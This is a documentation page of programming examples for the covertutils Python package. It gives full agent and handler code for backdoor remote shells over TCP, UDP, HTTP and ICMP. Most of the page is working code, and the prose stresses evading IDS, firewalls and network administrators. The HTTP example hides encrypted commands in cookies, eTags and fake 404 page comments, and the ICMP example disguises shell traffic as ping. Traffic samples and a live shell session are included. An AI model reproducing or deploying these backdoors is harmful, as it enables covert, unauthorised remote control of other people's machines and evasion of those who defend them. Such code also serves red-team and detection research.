Programming Examples¶
Examples can be run using the makefile available in the repo, as shown below:
make EX='examples/example_script.py 8080' run
Notice that examples have to be tested in pairs (agents - handlers).
Simple TCP Bind Shell¶
The Concept¶
Dead simple shell, just to demonstrate the basic Backdoor structure. Using pure TCP, the data packets are not hidden in any way, they look like an encrypted Layer 7 protocol.
The Setup¶
Handler binds to a TCP port and Agent connects to it. Both parties use the TCP connection to push data back and forth. The data is chunked in 50 byte chunks.
The Code¶
Agent - Server¶
#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator
import sys
import socket
from time import sleep
passphrase = "Pa55phra531"
addr = "0.0.0.0", int(sys.argv[1])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
s.bind( addr ) # Handling Networking
s.listen(5) # independently of covertutils
while True : # Make it listen `hard`
client, client_addr = s.accept() # Blocking the main thread
def recv () : # Create wrappers for networking
return client.recv( 50 )
def send( raw ) : # Create wrappers for networking
return client.send( raw )
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
handler = StandardShellHandler( recv, send, orch ) # Create the Handler Daemon Thread
Handler - Client¶
#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.shells.impl import StandardShell
import sys
import socket
from time import sleep
try :
program, ip, port, passphrase = sys.argv
except :
print( """Usage:
%s <ip> <port> <passphrase>""" % sys.argv[0] )
sys.exit(1)
client_addr = ip, int(port)
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( client_addr )
def recv () :
return s.recv(50)
def send( raw ) :
return s.send( raw )
class MyHandler( BaseHandler ) :
def onChunk( self, stream, message ) :
pass
def onMessage( self, stream, message ) :
# The PrintShell class will automatically handle the response (print it to the user)
pass
def onNotRecognised( self ) :
print( "Got Garbage!" )
handler = MyHandler( recv, send, orch )
shell = StandardShell(handler, prompt = "(%s:%d)> " % client_addr )
shell.start()
Simple TCP Reverse Shell¶
The Concept¶
Same as above, but the Agent initializes the connection. Far more useful approach, as it can ignore Firewall/NAT pairs. Agents can have NAT’d IP addresses and still be accessible. Still, looks like a Layer 7 protocol.
The Setup¶
The TCP Server runs on the Handler and awaits the connection in a local or public IP. The Agent, knowing the Handler’s IP (or domain name) connects to it and starts the communication.
The Code¶
Agent - Client¶
#!/usr/bin/env python
from covertutils.handlers.impl import ExtendableShellHandler
from covertutils.orchestration import SimpleOrchestrator
import sys
import socket
from time import sleep
passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
closed = True
while True :
if closed :
try :
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( addr )
closed = False
except Exception as e:
sleep( delay )
continue
def recv () :
global closed
try :
ret = s.recv(50)
if ret == '' : # in empty string socket is closed
closed = True
s.close()
except :
closed = True
return ''
# print( "Connection Terminated" )
# ret = 'X'
return ret
def send( raw ) :
return s.send( raw )
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True )
handler = ExtendableShellHandler( recv, send, orch ) # Create the Handler Daemon Thread
while not closed : sleep(1)
Handler - Server¶
#!/usr/bin/env python
from covertutils.shells.impl import ExtendableShell
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
import sys
import socket
from time import sleep
try :
program, port, passphrase = sys.argv
except :
print( """Usage:
%s <port> <passphrase>""" % sys.argv[0] )
sys.exit(1)
addr = '0.0.0.0', int(port)
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50 )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr ) # Handling Networking
s.listen(5) # independently of covertutils
print( "Accepting" )
client, client_addr = s.accept() # Blocking the main thread
print( "Accepted" )
def recv () : # Create wrappers for networking
return client.recv( 50 )
def send( raw ) : # Create wrappers for networking
return client.send( raw )
class MyHandler( BaseHandler ) :
def onChunk( self, stream, message ) :
pass
def onMessage( self, stream, message ) :
# print( message )
pass
def onNotRecognised( self ) :
print( "Got Garbage!" )
global s
s.close()
handler = MyHandler( recv, send, orch )
shell = ExtendableShell(handler, prompt = "(%s:%d)> " % client_addr, debug = True )
shell.start()
Simple UDP Reverse Shell¶
The Concept¶
The same as above, but now in UDP. Many administrators ignore UDP protocol and don’t include it in the Firewall configuration. But UDP is as usable as TCP…
The covertutils
traffic still looks like an Application Layer protocol, but based on UDP.
The Setup¶
The Agent uses UDP packets to communicate. As a Reverse connection, it is still able to bypass NATs. A UDP server is run on the Handler, listening for packets and responding.
The Code¶
Agent - Client¶
#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator
import sys
import socket
from time import sleep
from hashlib import sha512
passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def recv () : # Create wrappers for networking
return s.recvfrom( 50 )[0]
def send( raw ) : # Create wrappers for networking
return s.sendto( raw, addr )
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True, cycling_algorithm = sha512 )
handler = StandardShellHandler( recv, send, orch ) # Create the Handler Daemon Thread
while True :
send( 'X' )
sleep( delay )
Handler - Server¶
#!/usr/bin/env python
from covertutils.handlers import BaseHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.shells.impl import StandardShell
import sys
import socket
from time import sleep
from hashlib import sha512
try :
program, port, passphrase = sys.argv
except :
print( """Usage:
%s <port> <passphrase>""" % sys.argv[0] )
sys.exit(1)
addr = '0.0.0.0', int(port)
client_addr = None
orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, cycling_algorithm = sha512 )
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind( addr ) # Handling Networking
synchronized = False
def recv () : # Create wrappers for networking
global client_addr
global synchronized
addr = False
while addr != client_addr :
ret, addr = s.recvfrom( 50 )
if ret == 'X' :
client_addr = addr
synchronized = True
return ret
def send( raw ) : # Create wrappers for networking
return s.sendto( raw, client_addr )
class MyHandler( BaseHandler ) :
def onChunk( self, stream, message ) : pass
def onNotRecognised( self ) : pass
def onMessage( self, stream, message ) :
# The PrintShell class will automatically handle the response (print it to the user)
pass
handler = MyHandler( recv, send, orch )
shell = StandardShell(handler, )
shell.start()
Advanced HTTP Reverse Shell¶
The Concept¶
Things start to get hairy with this one. All above shells use the covertutils
generated data as an Application Layer protocol. While this won’t raise any IDS alerts (as of Totally IDS/IPS evading payloads), it is possible that the packets will be flagged/blocked because of the bogusness of the protocol. That’s because some Net admins are smart…
Smart network administrator:
So, to bypass this kind of Firewall Whitelisting, the covertutils
data is designed to resemble random/encrypted data. Also, covertutils
has several tools to embed this kind of data into existing -well known- protocols, effectively creating Covert Channels.
Here this technique will be used with HTTP. The URL, Cookie and eTag, in an HTTP request, and an HTML comment in HTTP Response, can be populated with covertutils
data without raising too much suspicion.
The Agent polls the Handler every few seconds (a random number in the delay_between
space) - feature of the covertutils.handlers.interrogating.InterrogatingHandler
, and executes any commands that are returned.
The Setup¶
For demonstrating purposes, this one is implemented quite badly! Just to provide an example with the (now deprecated) covertutils.orchestration.stegoorchestrator.StegoOrchestrator
.
The HTTP packets to be send are hardcoded in the Agent and Handler, with placeholders where data will be injected.
The Handler runs a custom TCP server, just to demonstrate the whole covertutils
over HTTP over TCP chain.
The Code¶
Agent - Client¶
#!/usr/bin/env python
# Disclaimer!
# This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions
from covertutils.handlers import InterrogatingHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
from os import urandom
from time import sleep
import sys
import socket
#============================== HTTP Steganography part ===================
resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )
req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis
''' # 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )
# Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n
resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )
#==========================================================================
#============================== Handler Overriding part ===================
# Making a dict to map every 'stream' to a function to be called with the message as argument
# _function_dict = { 'control' : GenericStages['shell']['function'], 'main' : GenericStages['shell']['function'] }
# We need a handler that will ask for and deliver data, initiating a communication once every 2-3 seconds.
# This behavior is modelled in the 'InterrogatingHandler' with the 'delay_between' argument.
# The 'FunctionDictHandler' automatically runs all messages through function found in a given dict
class ShellHandler ( InterrogatingHandler, ExtendableShellHandler ) :
def __init__( self, recv, send, orch ) :
super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments
fetch_stream = 'control', # argument from 'InterrogatingHandler'
stage_stream = 'stage',
delay_between = (0.0, 4), # argument from 'InterrogatingHandler'
# delay_between = (2, 3) # argument from 'InterrogatingHandler'
) # The arguments will find their corresponding class and update the default values
def onChunk( self, stream, message ) : pass # If a part of a message arrives - do nothing.
def onMessage( self, stream, message ) : # If a message arrives
if message != 'X' : # If message is not the 'no data available' flag
output = FunctionDictHandler.onMessage( self, stream, message ) # Run the received message
#through the corresponding function
# stream, message = super( ShellHandler, self ).onMessage( stream, message ) # Run
print( "[+] Command Run!" )
# print( "[+] Command Run: '%s'!" % output )
# print( "Got to send %d bytes" % len(output) )
self.queueSend( output, stream ) # Queue the output to send in next interval
def onNotRecognised( self ) : print( "[!] < Unrecognised >" )
#==========================================================================
#============================== Networking part ===========================
# The networking is handled by Python API. No 'covertutils' code here...
# Handler's location
addr = ( sys.argv[1], int( sys.argv[2]) ) # called as 'python Client.py 127.0.0.1 8080'
# Create a simple socket
client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
# client_socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
# As every HTTP request/response needs a new Socket,
# this variable is used to inform network wrappers if the last HTTP transaction is finished
# It is used in spin-locks. Could be designed a lot better with mutex and up/down.
same_con = False
def send( raw ) :
global client_socket
global same_con
while same_con : sleep (0.01); continue; # If the last transaction isn't finished - block
while not same_con :
try : # Try starting a new connectio if the Server is up
client_socket = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) # Start new HTTP transaction
client_socket.connect( addr )
client_socket.send( raw ) # Send the data
same_con = True # make the 'recv' unblock
except Exception as e:
# print( e )
sleep( 2 ) # Retry to connect to handler every 2 seconds
def recv( ) :
global client_socket
global same_con
while not same_con : sleep (0.01); continue # If an HTTP transaction hasn't started - block
ret = client_socket.recv( 2048 ) # Get the HTTP response
client_socket = None # The socket will be closed by the HTTP Server
same_con = False # unblock the 'send' function to start a new HTTP transaction
return ret
#==========================================================================
#=============================Handler Creation=============================
passphrase = "App1e5&0raNg3s" # This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
stego_config = stego_config,
main_template = "req", # The template to be used
hex_inject = True, # Inject data in template in hex mode
reverse = True, # For 2 Orchestrator objects to be compatible one must have 'reverse = True'
streams = ['heartbeat'],
)
handler = ShellHandler( recv, send, orch )
#==========================================================================
# Wait forever as all used threads are daemonized
while True : sleep(10)
# Magic!
Handler -Server¶
#!/usr/bin/env python
# Disclaimer!
# This code is not an optimal HTTP reverse shell!
# It is created to introduce as many aspects of 'covertutils' as possible.
# There are muuuuuch better ways to implement a reverse HTTP shell using this package,
# using many Python helpers like SimpleHTTPServer.
# In this file the HTTP requests/responses are crafted in socket level to display
# the concept of 'StegoOrchestrator' class and network wrapper functions
from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import StegoOrchestrator
from covertutils.datamanipulation import asciiToHexTemplate
from covertutils.shells.impl import StandardShell, ExtendableShell
from time import sleep
from os import urandom
import random
import string
import sys
import socket
from threading import Thread
#============================== HTTP Steganography part ===================
resp_ascii = '''HTTP/1.1 404 Not Found
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
</html>
'''
resp_templ = asciiToHexTemplate( resp_ascii )
# qa85b923nm90viuz12.securosophy.com
req_ascii = '''GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1
Host: {0}
Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
User-Agent: covertutils HTTP-shell by John Torakis
''' # 2 new lines terminate the HTTP Request
req_templ = asciiToHexTemplate( req_ascii )
# Create the StegoOrchestrator configuration string
stego_config = '''
X:_data_:\n\n
resp = """%s"""
req = """%s"""
''' % ( resp_templ, req_templ )
#==========================================================================
#============================== Handler Overriding part ===================
# It is an HTTP Server, so it has to send data only when requested.
# Hence the use of the 'ResponseOnlyHandler' which sends data only when 'onMessage()' is hit with the self.request_data message
class MyHandler ( ResponseOnlyHandler ) : #
# Overriding original onMessage method to send a response in any case - not only 'ResponseOnlyHandler.request_data' message arrives
def onMessage( self, stream, message ) :
# If the Parent Class would respond (the message was a request), don't bother responding
responded = super( MyHandler, self ).onMessage( stream, message )
if not responded : # If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
self.queueSend("X", 'heartbeat'); # Make it respond anyway with 'X' (see Client)
responded = super( MyHandler, self ).onMessage( stream, message )
assert responded == True # This way we know it responsed!
# The PrintShell class will automatically handle the response (print it to the user)
def onChunk( self, stream, message ) :
if message : return # If this chunk is the last and message is assembled let onMessage() handle it
# print "[*] Got a Chunk"
self.onMessage( 'heartbeat', self.request_data ) # If this is a message chunk, treat it as a 'request_data' message
def onNotRecognised( self ) :
# print "[!]< Unrecognised >"
# If someone that isn't the client sends an HTTP Request
redirection_http='''
HTTP/1.1 302 Found
Server: Apache/2.2.14 (Win32)
Location: http://securosophy.com
Content-Length: 0
Content-Type: text/plain
Content-Language: el-US
Connection: close
''' # The response will be a redirection
send( redirection_http ) #
# This way all random connections will get redirected to "securosophy.com" blog
#==========================================================================
#============================== Networking part =========================
# The networking is handled by Python API. No 'covertutils' code here...
addr = ("0.0.0.0", int( sys.argv[1]) ) # The Listening Address tuple
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Listening socket
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Free the socket object directly after process finishes
server_socket.bind( addr ) # Handling Networking
server_socket.listen(5) # independently of covertutils
# HTTP Servers work like:
# Client (Socket Opens) Server
# Client ------SYN-----> Server
# Client <---SYN-ACK---- Server
# Client ------ACK-----> Server
# Client (HTTP Request) Server
# Client --------------> Server
# Client (HTTP Response) Server
# Client <-------------- Server
# Client (Socket Close) Server
# Client <-----FIN------ Server
# Client ----FIN-ACK---> Server
# Client <-----ACK------ Server
# As this happens for every HTTP Request/Response the 'send' and 'recv' functions
# use spin-locks to block and recognise when they can tranfer data.
# 'send' and 'recv' are wrappers for Handler object networking. Covertutils is network agnostic
client = None # Globally define the client socket
client_addr = None
def recv () :
global client
while not client : continue # Wait until there is a client
ret = ''
while not ret : # Block until all data is received
ret = client.recv( 2048 )
return ret # Return the received data
def send( raw ) :
global client
while not client : continue # Wait until there is a client
client.send( raw ) # Send the data through the socket
client.shutdown(socket.SHUT_RDWR) # Terminate the Socket
#==========================================================================
#=============================Handler Creation============================
passphrase = "App1e5&0raNg3s" # This is used to generate encryption keys
orch = StegoOrchestrator( passphrase,
stego_config = stego_config,
main_template = "resp", # The template to be used
hex_inject = True, # Inject data in template in hex mode
streams = ['heartbeat'],
)
handler = MyHandler( recv, send, orch ) # Instantiate the Handler Object using the network wrappers
def serveForever() :
global client
global client_addr
while True : # Make it listen `hard`
client_new, client_addr = server_socket.accept()
client = client_new
server_thread = Thread ( target = serveForever )
server_thread.daemon = True
server_thread.start()
#==========================================================================
#============================== Shell Design part ========================
shell = ExtendableShell( handler,
ignore_messages = set(['X']) # It is also the default argument in BaseShell
)
shell.start()
#==========================================================================
# Magic!
Traffic Sample¶
HTTP Request
GET /search.php?q=01e45e90?userid=6c8a34140ef540caa9acc5221ca3be54bc1425 HTTP/1.1
Host: {0}
Cookie: SESSIOID=6626d881415241b388b44b52837465e4ed2b2504f9f16893716c25a1f81e9c5809b5485281acf68327ada9d3c6be170afb3ff5ac8d4de0e77e3dd9eeb089fbe1
eTag: c9262c8fa9cf36472fc556f39f9446c25c5433
HTTP Response
HTTP/1.1 404 Not Found
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: d90a2b5e614c0b0a28c438e8100f16537f854c5a193
c0b7da2ca674b2583cf328fe7f7f0cf49e8932ce9dd5f08a362c92f7d923867ffb4b196b885461e12a892
-->
</html>
Note
Please notice that this example will work for only 1 reverse connection. Other connections will jam as of the Cycling Encryption Key.
A real project would use HTTP Cookies along with Orchestrator.getIdentity()
and Orchestrator.checkIdentity()
to achieve session management.
Advanced ICMP Bind Shell¶
The Concept¶
In case you need a Shell from an Internet exposed Web server, or Firewall, or VPS this is for you. Anything with a Public IP will do!
This one monitors ICMP echo-request
packets arriving to the host, and if it identifies covertutils
Layer 7 (after the ICMP header), decodes-executes
and responds with echo-reply
packet containing the reply of the sent command.
It is specifically created to resemble ping
implementation and this can be seen in the Traffic Sample below. Yet, the actual Layer 7 payload contains coverutils
data.
The Setup¶
The Agent monitors all NICs for ICMPs and responds. As it doesn’t attempt to connect anywhere, instead waits for data, this is a Bind shell (as it binds to the NICs).
The Handler sends a ping with a command, and a Ping-Pong is initialized until all command output is delivered to the Handler. Then silence…
This example uses the Legendary Scapy package to parse and create Raw Packets. It can be also implemented using StegoOrchestrator
class, if Scapy dependency is a bummer.
Windows users will need Npcap to use Scapy. Python Raw Sockets do not seem to have this dependency.
As this backdoor uses Raw Sockets, root permissions are needed for both Handler and Agent .
The Code¶
Agent - Server¶
#!/usr/bin/env python
#============================== Imports part =============================
from covertutils.orchestration import SimpleOrchestrator
from covertutils.handlers import ResponseOnlyHandler, FunctionDictHandler
from covertutils.handlers.impl import StandardShellHandler
from scapy.all import sniff, IP, ICMP, Raw # Never bloat scapy import with *
from scapy.all import send as scapy_send # unexpected things will happen
from threading import Thread # Need a thread for running a sniffer
from time import sleep # I spin lock a lot
from random import randint # Generating IP id field needs randomness
passphrase = "pass" # Passphrase hardcoded in handler. Could also be encrypted.
#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...
icmp_packets = [] # Packets captured by sniffer will be stored here
packet_info = [] # List of packet information collected for the handler to know where to respond
def add_icmp_packet( pkt ) : # wrapper function to add a packet to the list
global icmp_packets
icmp_packets.append( pkt )
def collect_icmp() : # Scappy non terminating sniffer
cap_filter = "icmp[icmptype] == icmp-echo" # that captures echos
sniff( filter = cap_filter, prn = add_icmp_packet ) # runs forever
def recv( ) : # Networking Wrapper function needed for the handler
while not icmp_packets : # Blocks when no packet is available
sleep(0.01)
pkt = icmp_packets.pop(0) # Get the first packet
timestamp = str(pkt[Raw])[:4] # Keep the timestamp to use it on the response
raw_data = str(pkt[Raw])[4:] # remove the timestamp and get the raw data
# Keep a track of the packet information as it may be from the Handler
packet_info.insert( 0, (pkt[IP].src, pkt[IP].dst, pkt[ICMP].seq, pkt[ICMP].id, timestamp ) )
# If it is from the Handler a response will be made using that information
return raw_data
def send( raw_data ) :
ip_id = randint( 0, 65535 ) # To simulate real packets
handler_ip, self_ip, icmp_seq, icmp_id, timestamp = packet_info[0] # extract the data from the packet that will be answered
paylaod = timestamp + raw_data # the payload starts with UNIX time to simulate real ping
pkt = IP( dst = handler_ip, src = self_ip, id = ip_id )/ICMP( type = "echo-reply", seq = icmp_seq, id = icmp_id )/Raw( paylaod )
scapy_send( pkt, verbose = False ) # Make and send a Raw Packet
sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start() # Run the ICMP echo collector in a thread
#==========================================================================
#============================== Handler Overriding part ===================
# A dict that designates what function is going to run if Messages come from certain streams
# _function_dict = { 'control' : GenericStages['shell']['function'],
# 'main' : GenericStages['shell']['function']
# }
# Here all streams will be used for a typical 'system' function (raw shell).
# FEEL FREE TO CREATE YOUR OWN!
# ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
# FunctionDictHandler to set the dict of functions run on messages
class AgentHandler( ResponseOnlyHandler, StandardShellHandler ) :
def onNotRecognised( self ) : # When Junk arrives
global packet_info # It means that the packet is not created by Handler
del packet_info[0] # So the packet's info get deleted as the Agent won't respond to it
# print "[!] Unrecognised"
def onChunk( self, stream, message ) : # When a Chunk arrives
# print "[+] Got Chunk!"
if not message : # If it is not a complete message (but a part of one)
self.onMessage( stream, self.request_data ) # Treat it as message containing the `self.request_data` string
def onMessage( self, stream, message ) : # When a Chunk arrives
# print "[%] Got a Message!"
if message == self.request_data : # If the Message contains the `self.request_data` string
ret_stream, ret_message = stream, message # The message to be responded will contain the same value
else : # Else pass it through the function pointed by the function dict
ret_message = FunctionDictHandler.onMessage( self, stream, message )
responded = ResponseOnlyHandler.onMessage( self, stream, ret_message ) # Run the ResponseOnlyHandler onMessage
# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)
if not responded : # If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
self.queueSend( ret_message, stream ); # Make it respond anyway with 'ResponseOnlyHandler.request_data' (see Client)
responded = ResponseOnlyHandler.onMessage( self, stream, ret_message ) # Now it will responde for sure as a message is manually added to the queue
assert responded == True # This way we know it responsed!
#==========================================================================
#=============================Handler Creation=============================
orchestrator = SimpleOrchestrator( passphrase, # Encryption keys generated from the passphrase
tag_length = 2, # The tag length in bytes
out_length = 52, # The absolute output byte length (with tags)
in_length = 52, # The absolute input byte length (with tags)
streams = ['heartbeat'], # Stream 'control' will be automatically added as failsafe mechanism
reverse = False ) # Reverse the encryption channels - Handler has `reverse = True`
agent = AgentHandler( recv, send, orchestrator, # Instantiate the Handler object. Finally!
# function_dict = _function_dict, # needed as of the FunctionDictHandler overriding
)
#==========================================================================
# Wait forever as all used threads are daemonized
while 1 : sleep(10) # Magic!
Handler - Client¶
#!/usr/bin/env python
#============================== Imports part =============================
from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.shells.impl import StandardShell
from scapy.all import sniff, IP, ICMP, Raw # Never bloat scapy import with *
from scapy.all import send as scapy_send # unexpected things will happen
from threading import Thread # Need a thread for running a sniffer
from time import sleep # I spin lock a lot
from random import randint # Generating ICMP and IP id fields needs randomness
from struct import pack # packing a unixtime in Pings is key
import time # used for unixtime
import sys # Used for arguments
agent_address = sys.argv[1] # Where the Agent resides (aka RHOST)
passphrase = sys.argv[2] # What is the passphrase the agent uses
delay_secs = float(sys.argv[3]) # Delay between Pings sent. 1 sec is slow but realistic
#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...
icmp_packets = [] # Packets captured by sniffer will be stored here
icmp_seq = 1 # The initial Ping sequence value is 1/256
icmp_id = randint( 0, 65535 ) # The sequence value is the same on every packet for every execution of 'ping'
def add_icmp_packet( pkt ) : # wrapper function to add a packet to the list
global icmp_packets
icmp_packets.append( pkt )
def collect_icmp() : # Scappy non terminating sniffer
cap_filter = "icmp[icmptype] == icmp-echoreply" # that captures echo replies
sniff( filter = cap_filter, prn = add_icmp_packet ) # runs forever
def get_icmp_timestamp( ) : # function returns UNIX time in 4 bytes Little Endian
return pack("<I", int(time.time()))
def recv( ) : # Networking Wrapper function needed for the handler
while not icmp_packets : # Blocks when no packet is available
sleep(0.01)
pkt = icmp_packets.pop(0) # Get the first packet
raw_data = str(pkt[Raw])[4:] # Remove the UNIX timestamp
return raw_data # Return the raw data to Handler
def send( raw_data ) : # Networking Wrapper function needed for the handler
sleep( delay_secs ) # Delay before next Ping
ip_id = randint( 0, 65535 ) # Calculate random header values to simulate real packets
payload = get_icmp_timestamp() + raw_data # the payload starts with UNIX time to simulate real ping
pkt = IP( dst = agent_address, id = ip_id, flags = 'DF' )/ICMP( type = "echo-request", id = icmp_id, seq = icmp_seq )/Raw( payload )
scapy_send( pkt, verbose = False ) # Make and send a Raw Packet
sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start() # Run the ICMP reply collector in a thread
#==========================================================================
#============================== Handler Overriding part ===================
# ResponseOnlyHandler because the Agent never sends packet adHoc but only as responses
# (Except if we use adHocSend() by hand - later in Shell creation)
class Handler( ResponseOnlyHandler ) :
def onMessage( self, stream, message ) : # When a Message arrives
global icmp_seq # Make the Ping Sequence Number 1/256 again
icmp_seq = 1
global icmp_id # Simulate a new 'ping' execution
icmp_id = randint( 0, 65535 )
# The PrintShell class will automatically handle the response (print it to the user)
def onChunk( self, stream, message ) : # When a Chunk arrives
# print "[+] Got a Chunk"
global icmp_seq
if not message : # If it is not a complete message (but a part of one)
icmp_seq += 1 # add one to the ICMP sequence
self.queueSend( self.request_data, stream ) # Add a message to the send queue
super( Handler, self ).onMessage( stream, self.request_data ) # Run the ResponseOnlyHandler onMessage
# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)
def onNotRecognised( self ) : # When Junk arrives
# print "[!] Unrecognised"
pass # Do nothing
#==========================================================================
#=============================Handler Creation=============================
orchestrator = SimpleOrchestrator( passphrase, # Encryption keys generated from the passphrase
tag_length = 2, # The tag length in bytes
out_length = 52, # The absolute output byte length (with tags)
in_length = 52, # The absolute input byte length (with tags)
streams = ['heartbeat'], # Stream 'control' will be automatically added as failsafe mechanism
reverse = True ) # Reverse the encryption channels - Agent has `reverse = False`
handler = Handler( recv, send, orchestrator ) # Instantiate the Handler object. Finally!
handler.preferred_send = handler.sendAdHoc # Change the preferred method to use it with the shell.
# This way the shell will iterate a message sending and the ResponseOnlyHandler will do the ping-pong
#==========================================================================
#============================== Shell Design part ========================
shell = StandardShell(handler )
shell.start()
#==========================================================================
# Magic!
Traffic Sample¶
Backdoor’s Traffic
make EX='examples/icmp_bind_handler.py 127.0.0.5 pass 0.1' run
PYTHONPATH=".:" examples/icmp_bind_handler.py 127.0.0.5 pass 0.1
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]> !main
(covertutils v0.1.1)[main]> ls -la
(covertutils v0.1.1)[main]>
total 120
drwxr-xr-x 15 unused unused 4096 Jun 15 06:12 .
drwxr-xr-x 20 unused unused 4096 Jun 14 23:48 ..
drwxr-xr-x 3 unused unused 4096 Jun 14 23:13 build
drwxr-xr-x 3 unused unused 4096 Jun 2 13:42 .cache
-rw-r--r-- 1 unused unused 904 Jun 2 13:42 cov-badge.svg
-rw-r--r-- 1 unused unused 6563 Jun 8 14:10 .coverage
drwxr-xr-x 9 unused unused 4096 Jun 14 20:44 covertutils
drwxr-xr-x 2 unused unused 4096 Jun 2 13:42 covertutils.egg-info
